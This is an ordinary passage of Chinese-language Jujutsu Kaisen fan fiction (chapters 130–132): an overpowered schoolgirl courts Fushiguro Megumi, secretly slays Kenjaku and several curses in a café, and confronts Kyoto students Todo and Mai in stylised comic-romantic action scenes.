起初只是零星的几点,敲打在玻璃窗上发出细微的“哒哒”声音,像是女生白皙的手指在漫不经心地点着。但很快,雨势变大,窗户上绽开了一朵一朵透明的花。 伏黑惠仿佛已经闻到了空气中的潮湿气息,压得他有点喘不过气来。 他听见她开口问道:“能和我交往吗,惠。” 第130章 伏黑惠差点以为自己的舌头被玉犬叼走了,好半天说不出一个字来。 “什、什么……?”他的脸颊泛起不自知的红色,隐约又能看出几分恼怒。 不对吧,这种事情,怎么也不该让女孩子来开口吧!这不显得他好像很无能吗? 钉崎野蔷薇和虎杖悠仁抓住两人专注聊天的时机钻进奶茶店,小心翼翼地坐在视线死角。当他们竖起菜单遮住脸颊,听见女生开口说出“一见钟情”四个字时,嘴角不受控制地往上翘了翘。 他们极力捂住嘴巴,才没让自己发出“嘿嘿”的可疑笑声。 伴随着克制的呜咽和肩膀的抖动,两人的眼睛里俱是粉色的星星,比自己谈上了还要激动。 A上去了啊!这就是直球吗! 可惜,高涨的情绪伴随着伏黑惠的回答而坠入了谷底一句“什么”像是冷水泼在了两个同期的脑袋上。 怎么回事啊!伏黑!怎么关键时刻掉链子啊!女朋友都送到家门口了,你拒收是吧! 零分!必须零分!! 钉崎恨铁不成钢地用吸管戳穿杯盖,虎杖则像看到棒球赛满垒情况下被三振出局般痛苦抱头。 以为是他没有听清楚,女生耐着性子,重复了一遍自己的真情告白。 “我说呀,我对惠一见钟情。”特意放软的声音像是裹了一层糖霜的小蛋糕,尾音带着一点上扬,如同小猫咪的爪子,在人的心尖上轻轻挠了一下。奶盖在她唇边留下一点白胡子。她伸出舌尖轻轻舔掉,这个动作让伏黑惠的视线像受惊的鸟般仓皇逃开,“所以,能和我交往吗?” 时间仿佛暂停了几秒钟,雨声仿佛也变得震耳欲聋。伏黑惠张了张嘴巴,不知道该说什么。 应该拒绝的吧,毕竟他们两人也才见了三面而已。 第一次是在路上偶然碰面,她向他问路……不,等下,如果真的是一见钟情的话,这个问路就显得太过可疑了。她该不会随便找了个借口来搭讪吧? 第二次见面是在少年院,她突然出现,从天而降将他们从特级咒灵的手中救下,但尾随的事情怎么听怎么让人觉得有点可怕了…… 而现在,是第三次。他们两人坐在周围全都是学生和情侣的奶茶店里,却不显得突兀。 “我……”拒绝的话在舌尖打了个转,迟迟没有说出口。 女生的眼中闪过一丝了然,在他说话前,截住了他。 “没关系,我不着急要答案。”她轻柔地开口道,“或许我们对彼此还不够了解,需要更多地时间来熟悉,不如我们就先从朋友开始,可以吗?” 都已经说到这个份上了,还能如何拒绝呢?难道她连一个朋友的位置都不配得到吗? 伏黑惠微微垂着头,手指无意识地摩挲着袖口的边缘,耳尖带着淡淡的红色,所幸头发够长,能够将它们遮住。 “……可以。”他低声回道,声音干涩得像晒过三伏天的树皮。“如果是朋友的话……” “那我们可就 说好咯,以后我们就是朋友了。“女生笑吟吟地说道,“请多多关照啊。” “啊、啊……嗯。”伏黑惠胡乱地点头,坐立难安都不足以形容现在他的心情了。 是他的问题吗?成为朋友,要说这么暧昧的话吗?还是说只有他觉得不对劲…… 钉崎野蔷薇双手捂脸,兴奋之余又大感无语。 “这对吗?”她喃喃道,脑袋里像是塞满了打结的毛线团,“我们乡下人交朋友可不会这样说话。” 她深吸了一口气,扭头看向虎杖悠仁。 少年脑袋上浮现出了一个问号,就看着女同学郑重地开口道:“虎杖,以后请多多关照了。” “诶?” 一个路过的女生听见他们的对话,激动地对旁边的同学说道:“哇,有人在告白!” 钉崎野蔷薇:“……” 虎杖悠仁:“……” “呕。”钉崎野蔷薇恶心地吐了吐舌头。 虎杖悠仁打了个哆嗦,像是吃到了不喜欢的生姜。 果然,有问题的不是他们,是那两个家伙啊! “这、这何尝不是一种般配呢。”钉崎野蔷薇举起了牌子,艰难地开口道,“十分!” 七月份的天气即便到了傍晚也是炎热的,伏黑惠的杯子里很快就只剩下几粒透明的冰块,被他不自觉地用吸管搅动,发出碰撞后的叮当声响。 直到对面女生的吸管发出了空吸的声音,她心满意足地喝下最后一口奶茶,他才停了下来。 “唔,好久没有喝奶茶了呢,”她感慨道,“自从进入夏天以后,怪物……啊不对,是咒灵,咒灵的数量越来越多,害得我也越来越忙碌了。” 伏黑惠颔首道:“是的,天气会影响人的心情,而咒灵正是诞生于人类的负面情绪。” “原来如此,”女生露出受教了的表情,“难怪医院、写字楼这样的地方咒灵会更密集。” 医院不必多说,那里浸泡着病人和家属绝望与痛苦的泪水。至于写字楼,那里当然充斥着加班人冲天的怨气。或许哪一天出现了什么关于加班的特级咒灵,也不会让人觉得惊讶呢。 她很轻易地就接受了伏黑惠的解释,正如她在知道从前被自己认为是怪物的东西其实叫咒灵后,也毫无异议地改口了。 “你不会觉得好奇吗?”伏黑惠忍不住开口道,“一直和普通人待在一起,能看见别人看不见的东西,不会觉得害怕或者好奇吗?” 女生眨了眨眼睛,失笑道:“或许最开始有一点吧,但对我并没有什么影响。” 伏黑惠还没有意识到,他早已对眼前的女生充满了探求欲。明明他才是咒术界里的“前辈”,她应该追着他寻求里世界的真相、向他询问关于咒术的常识和知识才对,但现在两人好像角色颠倒了。 “是因为……你很强吗?”伏黑惠眉头微皱。 今野桃抽出纸巾擦了擦嘴,漫不经心地回道:“不全是这个吧。如果这个世界是一个巨大的游戏场,那我就是独一无二的主角。主角的话,跟其他人不一样不是很正常吗?拯救世界、维护世界和平,不过都是主角的日常任务罢了。” 她说得理所当然,让人莫名觉得,她是对的。 这种狂妄至极的话如果换个人来说,一定会被当做不知天高地厚的疯子吧。 伏黑惠恍惚了一瞬,竟然在她的身上看见了五条老师的影子。 或许强者都有相似之处。 今野桃托着腮,目光越过他的肩膀,望向仍然落着雨点的街道,路上行人的脚步匆匆,都不愿意在雨中停留,或许是因为有人在等着他们回家。 “惠饿了吗?我们去吃饭吧。”她收回视线,重新将目光落在了眼前的少年身上,“你会喜欢的。” 都还没一起吃过饭,她的语气却十分地理直气壮。这不由地又让人想起她把伏黑惠在便利店买饭团的事情都调查得一清二楚,那知道他的口味也是正常…… 伏黑惠拢了拢领口,大约是奶茶店里的空调温度开得太低了,他有点背上发凉。 “好。”他应道。 “那你带伞了吗?”今野桃歪了歪头,眼睛里闪过一丝狡黠。 伏黑惠摸了摸手提袋,里面只装了带给她的资料。他的脸上闪过一丝懊恼,闷闷地说道:“抱歉,我没带伞。你在这里等一下,我去旁边的便利店买两把……” 自己果然还是不够细心,出门应该记得带把伞的。 “不用啦。”今野桃的嘴角往上提了提,从书包里掏出了一把伞,“我出门的时候看了一下天气预报,上面显示可能有雨,我就带了一把伞以防万一。不好意思呀,惠,忘记提醒你了。” 折叠雨伞看起来并不大,显然是给女生一个人使用的。 钉崎野蔷薇十指交叉抵在下巴处,一脸深沉地压低了声音对虎杖悠仁说道:“我赌十张任务报告,她是故意‘忘记’的。” 虎杖悠仁推了推鼻梁不存在的眼睛,严肃回道:“就算是笨蛋,也不会以为她是真的忘记了吧……” 她脸上的笑容都快溢出来了!很明显是图谋不轨啊! 伏黑惠怔怔地开口道:“没、没关系。” “那惠会介意跟我撑一把伞吗?”女生合起手掌,略带委屈地说道,“我们可是朋友呀。” “……”伏黑惠攥着手提袋的指关节紧了紧,他抿了抿唇,说道,“不介意的。” 门铃声再度响起,伴随着店员的“欢迎下次光临”,一把蓝色的雨伞如花儿般盛开,绽放在两人的头顶,把世界分割出了一小块。 伞下的空间太小,今野桃自然地贴近他右臂,一阵风吹过,发丝扫过他脖颈时带起细微的颤栗。伏黑惠僵硬地把伞往她那边倾斜,冰凉的雨水立刻浸透他右肩的衣料。 “惠的肩膀……”她突然伸手触碰那片湿润,指尖的温度穿透布料烙在皮肤上。 她抬眼,眸中带笑。 “靠近我一点吧,万一生病了,我会担心的呀。” 伏黑惠没有说话,只是不动声色地和她靠得更近了。她好像一团火焰,要将他彻底燃烧起来。 从身后看过去,两人中间没有丝毫距离。 虎杖悠仁的嘴巴张张合合,最后扶着墙流下了两行眼泪。 “不好了,感觉伏黑真的要脱单了… …” 什么朋友,女朋友也叫朋友是吧! 钉崎野蔷薇抬头望着天空,发呆了几秒钟,果断掏出了手机。 [五条老师,家危,速归!] 130-140 第131章 五条悟回来的时候,正值下午。 高专的校园被阳光染成橘红色,树影斜斜地映在地上,微风拂过,卷起几片落叶。他踩着轻快的步子,双手插在口袋里,哼着不成调的歌,仿佛只是出门买了趟甜品,而不是消失了整整五天。 可惜,这份悠闲并没有持续多久。 “——老师!你干脆再晚一点回来,刚好赶得上喝伏黑的喜酒!” 钉崎野蔷薇的声音从训练场的方向传来,带着毫不掩饰的怨念。她双手叉腰,棕色的短发在风中微微晃动,琥珀色的眼睛里写满了“你怎么回来得这么晚”的控诉。 五条悟眨了眨眼,歪头:“嗯?我错过了什么吗?” “何止是错过!”虎杖悠仁从她身后探出头,粉色的短发乱糟糟的,像是刚经历了一场激烈的训练。他咧开嘴,露出标志性的灿烂笑容,但语气却充满调侃,“老师,我已经给伏黑未来的孩子想好七个名字了!你要不要听听看?” 五条悟呆滞了一秒。 他低头看了看手表,又抬头环顾四周,确认自己确实只离开了五天,而不是五年。 “……我是出差五天,不是出差五年吧?”他摸了摸下巴,语气里带着一丝困惑。 钉崎野蔷薇叹了口气,竖起一根手指在他面前晃了晃,神情严肃得像是在讲解某种深奥的咒术理论:“不,五条老师,单身的你和我们一样不懂,什么叫做‘一日千里’。” 她顿了顿,眼神飘向不远处躲在角落里的黑发少年,压低声音道:“那个家伙,就算明天跑来跟我们说决定结婚,我也毫不意外。” “这么夸张?”五条悟挑眉,顺着她的视线望去。 伏黑惠正倚在树边,手机放在耳旁,嘴角微微上扬,眉眼间是罕见的柔和。他修长的手指在树干上轻轻抠弄,连五条悟的归来都没能第一时间引起他的注意。恐怕再给他一段时间,他能在树上挖个大洞出来。 “小惠——”五条悟拖长音调,故意提高音量,“我回来了哦!” 伏黑惠这才如梦初醒般抬起头,飞快地对那头的人说道:“……老师回来了,好,嗯,没什么,下次再说。” “嗯哼,看来我回来的不是时候?”五条悟笑眯眯地走近,高大的身影笼罩下来,宽厚的手掌毫不客气地按在伏黑惠的头顶,揉了揉他本就有些凌乱的黑发。 伏黑惠微微皱眉,但并没有躲开,只是无奈地叹了口气:“……刚刚在打电话而已。” “女朋友?”五条悟眨眨眼,语气促狭。 “不是。”伏黑惠别过脸,耳尖却微微泛红,“只是朋友。” “哦——朋友啊。”五条悟拉长语调,笑容越发灿烂,“那你们聊得挺高兴嘛,连麻辣教师五条悟的出现都不能引起你的注意。” 钉崎野蔷薇在一旁凉凉地补充:“这已经是今天的第三个电话了。” “第三个?!”五条悟夸张地瞪大眼睛,“小惠,你什么时候变成这么健谈的人了?” 伏黑惠:“……” 虎杖悠仁默默举手作证:“是真的,中午吃饭的时候伏黑一直没挂电话,我被迫听了一中午的墙角。”他顿了顿,露出一副深受打击的表情,“……太可怕了,原来伏黑也能说那么多话。” 五条悟噗嗤一声笑了出来,拍了拍两个学生的肩膀:“辛苦你们了。” 钉崎野蔷薇双手抱臂,斜睨了他一眼:“那倒也没什么辛苦的。”她顿了顿,压低声音,“不过,老师还是快点调查清楚那位今野同学的身份吧,我有点担心伏黑被骗。” 虽然伏黑惠嘴上说着只是朋友,但明眼人都能看出两人之间的氛围不对劲。那位今野同学——外貌出众,实力强大,性格又直率,伏黑惠这种纯情少年怎么可能招架得住? 他被“网走”只是时间问题。 五条悟轻笑一声,语气笃定:“放心,不会的。” 他收回手,转而搭在伏黑惠肩上,凑近问道:“对了,小惠,你有问过她想不想来高专吗?” 伏黑惠微微一愣,随即摇头:“她没这个打算。” “哦?”五条悟挑眉,“为什么?” “因为学业繁忙。她在日比谷高中读书,目标是东大。”伏黑惠的语气平静,但眼神却柔和了几分,“去年她们学校有43人符合东大招生要求,全国排名第四,东京排名第一。” 五条悟:“……” 他一时语塞。 和咒术师这种高危职业相比,东大显然更加前途光明。傻子都知道该怎么选。 “学业繁忙啊……”五条悟摸了摸下巴,若有所思。 高专的学生只听过“任务繁忙”,还是第一次听说“学业繁忙”。明明都是十五六岁的少年,却仿佛活在两个世界。 一个能击败特级咒灵的野生咒术师,竟然在普通高中里为了考东大而努力……真是难以置信。 五条悟的脑海中闪过各种念头,最终,他勾起一抹狡黠的笑容,揽住伏黑惠的肩膀:“手机上聊天怎么能增进感情呢?试试约她出来吧!” 伏黑惠:“……?” “下个月我们有个姐妹校交流会,让她一起来玩呀!”五条悟兴致勃勃地说道。 “姐妹校交流会?”钉崎野蔷薇和虎杖悠仁异口同声,一脸茫然。 伏黑惠倒是略有耳闻:“是和京都高专的比赛吧?不过那不是二三年级的活动吗?” “因为忧太在国外回不来嘛。”五条悟笑眯眯地解释,“所以今年一年级的你们也要参加!” “噢噢!是要打架吗?”虎杖悠仁瞬间兴奋起来,握紧拳头,眼中燃起战意。 “没错!”五条悟身上仿佛飘出了小花花,语气骄傲,“去年忧太一个人打赢了京都高专所有人,帮我们争取到了今年的举办权!今年就靠你们了!” “学长好厉害!”虎杖悠仁热血沸腾,“我们绝不会输!” 钉崎野蔷薇一甩头发,斗志昂扬:“让他们见识一下我们的实力!” 五条悟满意地点点头,随即转向伏黑惠,眨了眨眼:“所以,小惠,趁这个机会邀请她来看看吧?说不定她会喜欢上高专的氛围哦!” 伏黑惠迟疑了几秒,最终点了点头:“……我试试。” 他拿出手机,指尖在屏幕上轻轻敲击,一条消息发了出去。 [你下个月有空吗?想邀请你来高专,我们要举办交流会,就是学校里的年轻咒术师一起比赛。] [未读] 夕阳的余晖洒在少年们的身上,微风轻拂,带来一丝盛夏的热气。伏黑惠盯着手机屏幕,心跳不自觉地加快了几分。 ——她会来吗?。 咖啡厅的后厨弥漫着浓郁的咖啡香气,磨豆机的嗡鸣掩盖了今野桃轻巧的脚步声。她灵活地闪身进入,在店员们惊愕的目光中竖起食指抵在唇边,做了个噤声的手势。 “嘘——” 她从口袋里掏出一张证件,在众人面前快速晃过。金属徽章在灯光下反射出冷冽的光,证件上“警视厅”三个字一闪而过。 “我是警视厅特殊搜查课的今野。看到了坐在你们店里的那个穿着僧衣的男人吗?”她用一种森冷的语气说道,“那个男人,是通缉犯。” “通缉犯?!”店员们捂住嘴巴,用惊恐的语气低喊道。 “没错,而且他是多起凶杀案的嫌疑人,死在他手中的已经有数十人。” 大家倒吸了一口冷气,刚刚在门口迎宾的女人额头上冒出了大颗大颗的汗珠,精心打理的发鬓边已经湿了几缕。 为男人点单的店员更是手脚打颤,手中的托盘差点滑落。今野桃眼疾手快地扶住托盘,指腹感受到金属传来的冰凉触感。 “不要怕。”她眯着眼睛,表现出来的镇定和控场气质让大家不由自主地注视着她,“你们现在从后门疏散,我会和其他警员一起封锁这里。” 店长咽了口口水,颤颤巍巍地说道:“可是我们都离开的话,会不会打草惊蛇……” 今野桃笑了笑,安抚道:“你们放心走,我会处理好的。” 店员们交换着惊惶的眼神,像受惊的羊群般挤在一起。最终,在店长颤抖的点头示意下,他们一个接一个地溜出后门。 今野桃在这里布下了一个延迟五分钟的结界。 咖啡厅里,阳光依旧温柔。卡座上的男人——准确说是披着夏油杰皮囊的羂索——正优雅地搅动着咖啡。在普通人眼中,这里只有一位穿着僧衣的俊秀男子。但在今野桃的视野里,空气中扭曲着三个可怖的身影。 特级咒灵漏壶坐在羂索的对面,而花御和陀艮则在他们隔壁的位置。 今野桃深吸一口气,咖啡的香气中混入了咒灵特有的腐朽味道。她迈着稳健的步伐走向他们,皮鞋踩在木地板上发出轻微的声响,她停在了羂索的旁边。 “喂!”漏壶猛地转头,仿佛流动着岩浆的眼睛危险地眯起,带着被打断聊天的不爽,“你这人类,找死吗?”它掌心腾起一簇炽热的火焰,周围的空气瞬间扭曲。 没有善恶是非观念的咒灵就是这样滥杀且残暴。 就在火焰即将喷薄而出时,今野桃忽然红了眼眶:“终于找到你了,杰。” 她的声音颤抖着,带着令人心碎的哽咽:“你是在躲着我吗?”她轻轻抚摸自己的腹部,“因为……我怀了你的孩子?” “噗”的一声,羂索猛地按住漏壶的手腕,火焰瞬间熄灭。他千年不变的 从容面具出现了一丝裂痕,狭长的眼睛微微睁大:“你说什么?谁的孩子?!” 原本走神的陀艮和花御都侧过头来,看向了他们两人。 哇哦,是夏油杰以前的风流债吗? 羂索的太阳穴突突跳动,他疯狂检索着夏油杰的记忆碎片,却找不到任何关于这个女人的蛛丝马迹。被刻意抹去的记忆?还是精心编织的谎言?他狭长的眼眸微微眯起,试图从对方的表情中找出破绽。 女人还在抽泣,眼神中带上了些许失望。 “你是不想认这个孩子吗?” 羂索斟酌着开口:“倒也不是完全不想……” 要不要等她生下来,孩子生下来,是不是夏油杰的、有没有继承夏油杰的术式,就一目了然了。 女人叹了口气。 “你真是不大度,杰。”她语气指责地说道,“我不就是跟你分手以后跟悟好了吗,悟都不介意孩子跟他姓了,你为什么还要斤斤计较呢?” “啊?” 羂索觉得自己脑子好像有点不太够用,这个女人在说什么呢?她口中的那个“悟”,指的是五条悟吗? 她跟夏油杰分手后又跟五条悟交往了?五条悟还要给夏油杰的孩子当爸爸? 这、这就是挚友吗? “你不会是在胡说八道吧?”羂索怀疑地开口道。 他的话音还未落,头顶突然出现了一片漆黑,随后飞快地蔓延,将整个咖啡店包裹其中。 今野桃侧着头,感应了一下,确认店内没有无关人员。 她露出了一个笑容,轻蔑又带着讽刺。 “是啊,我就是在胡说八道耍你的啦。”她轻快地转了个圈,裙摆划出优美的弧线,“杰虽然看起来一副很会哄小姑娘的样子,但其实根本就没谈过恋爱。”她的声音骤然转冷,“才不会像你一样,欺骗别人感情。” 在短暂的停顿后,她红唇轻启,吐出一个让空气凝固的名字:“羂索。” “轰——” 实木餐桌被狂暴的咒力掀翻,杯子和各种器具丁零当啷地打了一地。谨慎到了极点的男人被叫破身份后第一反应是杀了眼前的女人,裹挟着致命咒力的手掌直取她的咽喉。这一击快若闪电,却在距离目标寸许之处戛然而止。 这本该是必中的一击,却被轻而易举地拦下来了。 今野桃纤细的手指如同铁钳般扣住他的手腕,一个漂亮的过肩摔将羂索重重砸在结界壁上。她慢条斯理地活动着手腕,宽松衣服下,肌肉的线条若隐若现。 “这可是特意为你们准备的、一个完全封闭的结界,不许进,也不许出。”她的声音轻柔得像在讨论下午茶,指尖凝聚的咒力闪烁着危险的光芒,“也是你们的葬身之地。” “狂妄!”羂索吐出一口带血的唾沫,嘴角扯出狰狞的弧度,“就算是五条悟,也不敢放话同时对付四个特级!” “那你试试看好了。”今野桃漠然回道,漆黑的眼眸中倒映着对手狼狈的身影,“拼尽全力逃跑吧,羂索,我会一次又一次地杀了你。” 为什么? 陀艮最先在惊恐的尖叫声中化为灰烬,花御试图用藤蔓构筑的防御被轻易撕碎,漏壶的岩浆甚至没能沾到她的衣角。 羂索躺倒在地板上,鲜血从额头上流下,染红了他的视野。 但他不明白,自己是什么时候招惹到这个女人的。这样的强者,不管是出现在那个阵营,都该如盛夏的太阳一般炽热又耀眼吧,怎么可能会寂寂无名呢…… “……为什么?”他的喉咙里都是血腥味,声音嘶哑得不成样子,“为什么要杀我?” 今野桃沉吟片刻,回答道:“因为你挡住了我的路。” 挡住了她的路? “你……你是总监部的?”羂索恍然说道,“还是御三家?亦或是……表世界的势力?” 今野桃只是摇头:“都不是。” 羂索拼尽全力,攥住了她的裤腿,用死不瞑目的声音说道:“你到底……是谁?” 看起来怪可怜的。 今野桃居高临下地看着他苟延残喘的样子,耸了耸肩膀说道:“我只是一个平平无奇想要谈恋爱的女高中生罢了。” 啊??? “你挡住了我爱情的道路。”她怜悯地说道,“为了我能安安心心谈恋爱,所以只能请你去死了。” 她挑开他额头上的缝合线,嫌恶地把他的脑子掏了出来。 “打扰别人恋爱是会被马踢的啊。”锋利的刀刃将脑花切成了一片一片,“下辈子可要记住了哦。” 在快要死亡前,羂索听见她的手机铃声响起。她掏出手机,看了一眼后,拨出了电话。 “是约会邀请吗?好呀,如果是惠的邀请,我一定会去的。听起来很有趣呢,姐妹校交流会……” 意识逐渐消散,羂索终于明白了这个荒谬的真相。 这个轻易摧毁了他千年筹谋的怪物,竟然……真的是一心想要恋爱的女高中生吗…… 难道这个世界上,最厉害的其实是……恋爱脑……? 第132章 初秋的山风裹挟着桂花的甜香,簌簌掠过石板台阶。伏黑惠扯了扯身上的运动衣,没忍住侧过头对钉崎野蔷薇开口,声音比平时低了几分,像是不愿惊扰林间流转的雾气:“这样真的好看吗?” 钉崎野蔷薇也没有穿那身黑不溜秋的制服,而是一件连帽卫衣,两人看上去确实很有高中生的气息。 “好看啊。”她点点头说道,“很帅呢,不信你等下问一问她。” 伏黑惠抿了抿唇,不自在地开口道:“问她的话,就算不好看,肯定也只会得到赞美的回答,她不是那种会让人感到尴尬的性格。” “男生就是很幼稚嘛。”钉崎野蔷薇双手插兜,撇撇嘴说道,“同年龄下,女生就成熟许多了。” 所以她是绝对不会找DK谈恋爱的! 幼稚?他也很幼稚吗? 伏黑惠心中思索着。 趁着漫长的山道上还没有出现人影,钉崎野蔷薇加快了语速说道:“既然五条老师没说什么,今野应该是可以信任的。如果你真的想跟她谈恋爱,一定 要把握住机会,好好利用自己的优势,知道吗?” “优势?”伏黑惠茫然地问道,“什么优势?” 钉崎野蔷薇颇有点恨铁不成钢的意味:“笨蛋,用你的脸啊!实在不知道该说什么,你就摆出一副可怜的样子,她一定会上钩的!” 啊?是、是这样吗? 好像有点道理,又好像哪里怪怪的。 伏黑惠正在皱眉时,一个人影远远地出现了。 远处山岚缭绕,晨光穿透云层,落在她的身上,让她整个人都散发出一种朦胧的微光,像是聚光灯下唯一的主角。 伏黑惠的心脏突然漏跳一拍,指尖无意识蜷进掌心。 “今野!”钉崎野蔷薇看见了她,伸出手大力挥动,声音惊起了几只飞鸟,“这里!” 人影渐渐清晰起来。今野桃踏着光斑拾级而上,裙摆随着步伐漾开温柔的弧度。她抬眼,对他们绽放出一个清浅的笑容。 她加快了脚步,很快就站在了他们的面前。这么长一段路走下来,她的额头一点汗水都看不见。 她也没有穿校服,而是认真打扮过了。过膝的淡粉色连衣裙搭配杏色针织开衫,像一朵随着风飘来的花儿。黑色的长发披散在肩头,只在鬓边簪着一串珍珠发夹。 “让你们久等了。”她不好意思地笑道。 “没有很久。”伏黑惠上前两步,接过了她手里的提包,认真地说道,“山下的公车向来很准时,你已经提前跟我发过消息了,所以能推算出你到达的时间。” “原来如此,小惠果然很细心。”今野桃含着笑意站在他身边,“那今天就要辛苦小惠带我逛一逛学校了。” “是我应该做的。”伏黑惠垂着眼说道。 她和他靠近了许多,已经突破了社交的安全距离。他能感觉到两人袖子的布料在互相摩擦,淡淡的香气飘进他的鼻间。 阳光从侧面照射过来,伏黑惠不动声色地调整了一下位置,让自己能够挡住太阳。 谁说男生不细心,无外乎有没有上心罢了。 钉崎野蔷薇低头看了一眼手机,说道:“等下,真希学姐让我们去贩卖机那里买点饮料,对了,他们说今天京都校的校长会过来开一个碰头会。” “那跟我们也没关系吧。”伏黑惠冷淡地说道。 “嗯哼,话是这么说啦。”钉崎野蔷薇皱了皱眉,“他们可能是冲着虎杖来的,为此虎杖已经跟着五条老师好一段时间了。” 伏黑惠用极低的声音喃喃自语:“……难怪五条老师把那些人称作‘烂橘子’。” “什么?” “没事。” 三人在自动贩卖机前停了下来,伏黑惠弯腰按下靠近机子,抬头对今野桃说道:“你想喝什么?” “都行,要甜味的。” 伏黑惠的手指划过一排排的按钮,最后停在了其中一个上面。 他买了一瓶桃子汽水,粉色的包装,感觉和她很适配。 不等她伸手接过,他已经扭开了瓶盖。 钉崎野蔷薇有点受不了地移开了视线。面前的这个女生可是能够把特级咒灵的脑袋扭下来的强人,你竟然会觉得她拧不开瓶盖吗? “谢谢啦。”今野桃对他甜甜地笑了起来。 伏黑惠嗯了一声,把瓶子递过去的时候,两人的指尖不小心碰在了一起,他触电般缩了回去,纤长的睫毛颤了颤。 “你的手……沾到了水珠。”今野桃的声音轻柔得不像话,“要擦一擦吗?” 伏黑惠只觉得脸颊有点发热,他心中有点慌张,面上却镇定地摇摇头:“不用。” “好吧。”今野桃的语气有点遗憾,“感觉小惠的手很好看呢。” 一瞬间,伏黑惠的表情都凝固了。 是、是在夸赞他吧? “……是吗。”他干巴巴地回道,“可能是因为我的术式是和手影有关的吧。” “手影?”今野桃若有所思地点头,忽然,她抬起了手,手指轻轻一拢,拇指和食指、无名指合在一起,食指和小指翘了起来,于是一只灵巧的“小狐狸”就出现在了地面上,“是这种吗?” 她笑着,“小狐狸”贴在她的颊边,是双份的可爱。 伏黑惠忽然感觉心跳声好像太大了,心脏仿佛要从嘴巴里跳出来。 他的目光落在了她的脸上,黑色的瞳孔映出了他的模样,涂了口红的嘴唇湿润又有光泽。 “……嗯。”最终他只挤出这个音节,却看见今野桃眼睛弯成了月牙。她仰头喝汽水时,脖颈拉出优美的弧线,喉间的那点起伏随着吞咽动作上下滑动。 看不见的粉色泡泡几乎要将钉崎野蔷薇淹死,她的表情扭曲,却一句话都没说。 她遭到了重大伤害!必须让伏黑那家伙赔钱! 石板路上忽然出现了陌生的脚步声,从远到近,然后停住。 “啊,这就是东京高专的一年级吗?” 低沉的声音打破了这片暧昧的气氛,三人不约而同地回头,映入眼帘的就是两个陌生的身影。 一个身材高大的男生,一个略显娇小的女生。 “禅院前辈,你怎么会来。”伏黑惠认出了女生。 钉崎野蔷薇也从女生的身上找到了几分熟悉:“啊,是真希的姐妹吗?” “是双胞胎。”伏黑惠纠正道。 女生双手环抱在胸口,嘴上说着友好的话语,表情却是挑衅的:“叫我真依嘛,不然不是和真希分不清楚了吗,伏黑同学。” 她和男生站在自动贩卖机的另一边,像一堵墙,把通道塞满了。 “这位是……?”她看向今野桃。 伏黑惠上前一步,挡在了今野桃的身前。 “你们来这里有什么事吗?交流会还没开始吧。”他冷声说道。 因为担心交流会那天会很忙,没办法照顾今野桃,所以提前了两天约她过来熟悉地方,谁知道竟然会碰上京都校的人。 “哼哼,我们来,当然是有非常重要的事情。比如,你们这帮家伙,到底有没有资格代替乙骨,参加这次的交流会。” 身高看上去超过一米九的男生抬着下巴,强大的气势让伏黑惠和钉崎野蔷薇有些不适。 “你叫伏黑,对吧。” 他好像下句话就是“我要杀你”,两个学生都打起了精神应对。不论如何,他们也绝不会丢了东京校的脸面! “……你喜欢什么样的女人?” 下半句话说完,场上一时陷入了尴尬的安静。 伏黑惠和钉崎野蔷薇的脑袋上都冒出了两个问号,看傻子似的看着男生。 今野桃低头笑了一下。 然而下一秒,她的笑容也凝固了。 男生狂放地将外套甩开,露出过于夸张的肌肉,古铜色皮肤上未愈的伤疤如衣服上的补丁,他大喝道:“根据你的回答,我会判定是把你打个半死,还是三分之一死!” 话音未落,钉崎野蔷薇下意识地看向了站在伏黑惠身后的今野桃。 不是,怎么有人不要命了啊! “快点!”男生催促伏黑惠道,“京都三年级,东堂葵,自我介绍完毕。轮到你了,快点回答,男人也行!” “……”钉崎野蔷薇莫名咽了咽口水。 她看见今野桃从袋子里摸出了一根发圈,慢条斯理地把披散开的头发束起来,动作优雅得像是在插花。她忽然想起自己曾经在菜市场买菜的时候看过的场景,杀猪匠在切肉前,总要把刀子磨一磨。 “你这也太失礼了吧!”钉崎野蔷薇忍不住骂道,“怎么能在别人女朋友面前问别人喜欢什么类型的女人啊!” 东堂葵瞪大了眼睛:“什么?你有女朋友?!” 咒术师的单身队伍里出现了叛徒! 他看向打听到的情报里没有出现过的女生,恍然大悟了:“你就是伏黑的女朋友?懂了,原来他喜欢这种的。” “不要随便牵扯无辜的人,”伏黑惠眉头紧皱,不满地开口道。 “既然是你的女朋友,那就不是什么无辜的人了。”东堂葵无所谓地说,“哦我懂了,不是女朋友,是喜欢的对象?” “你!” 今野桃的手按在了伏黑惠的肩膀上,她将已经喝了一半的汽水瓶子塞进少年的怀里。 众人的目光都聚集在今野桃的身上,她将鬓边的发丝勾到耳后,不慌不忙地开口道:“你刚刚,是在说要把小惠打个半死吗?” 东堂葵歪了歪头,扬起一个嚣张又自信的笑容:“看在你的份上,我可以手下留情,虽然我喜欢的是个子高、屁股大的女性。” “不必了。”今野桃从伏黑惠的身后走出来,她表情平静地说道,“让我见识一下,你的自信源头吧。” 仿佛 一道风吹过,只是眨了眨眼睛的时间,女生已经从几米开外出现在了东堂葵的面前。她左手握拳,没有使用一丝一毫的咒力,重重地锤在了东堂葵的腹部。 砰——! 烟尘弥漫,东堂葵的身体如同断线的风筝般倒飞出去,鞋底在粗糙的地面上剧烈摩擦,发出刺耳的刮擦声,仿佛有火星在脚掌与地面的交界处迸溅。 平整的路面被硬生生犁开两道深沟,翻卷的尘土在空气中炸开一片浑浊的烟幕。 东堂葵的胸口剧烈起伏,呼吸粗重得像是风箱在拉扯。 他忍了又忍,还是没忍住吐了一口血沫出来。 “东堂!”禅院真依震惊地喊出了声。 钉崎野蔷薇松了口气:“还好,今野手下留情了。” “这也叫手下留情吗?”禅院真依难以置信地说道,已经无法维持那副云淡风轻的样子了,“她竟然能把东堂打成那样啊!” 伏黑惠平静地说道:“东堂毕竟不是特级咒术师,只是个一级而已。” 一级……而已?你小子连一级都不是吧! 口气可真大啊! 只听咔嚓一下,是手qiang上膛的声音。 “可别小瞧了我们……”禅院真依掏出了自己的武器。 仿佛一切都变成了慢动作,当她的枪口将要对准两人时,一股巨大的力从旁边袭来,将她狠狠地撞飞出去。她的后背与混凝土的墙壁相触后发出沉闷的钝响,尘埃簌簌落下,落了她一身。 禅院真依发出了痛苦的呻。吟,缓缓滑落在地。 刚刚还在同东堂葵纠缠的女生,转瞬间就出现在了她的面前。 “小惠的对手就是你们吗?”她听见女生开口道,“那我在这里把你们都解决掉的话,是不是东京校不用打就能赢了?” 仿佛死神的目光落在了她的身上,禅院真依控制不住地抖动起来。女生冰凉的手握住了她的脖子,像是绞刑架上的绳索。 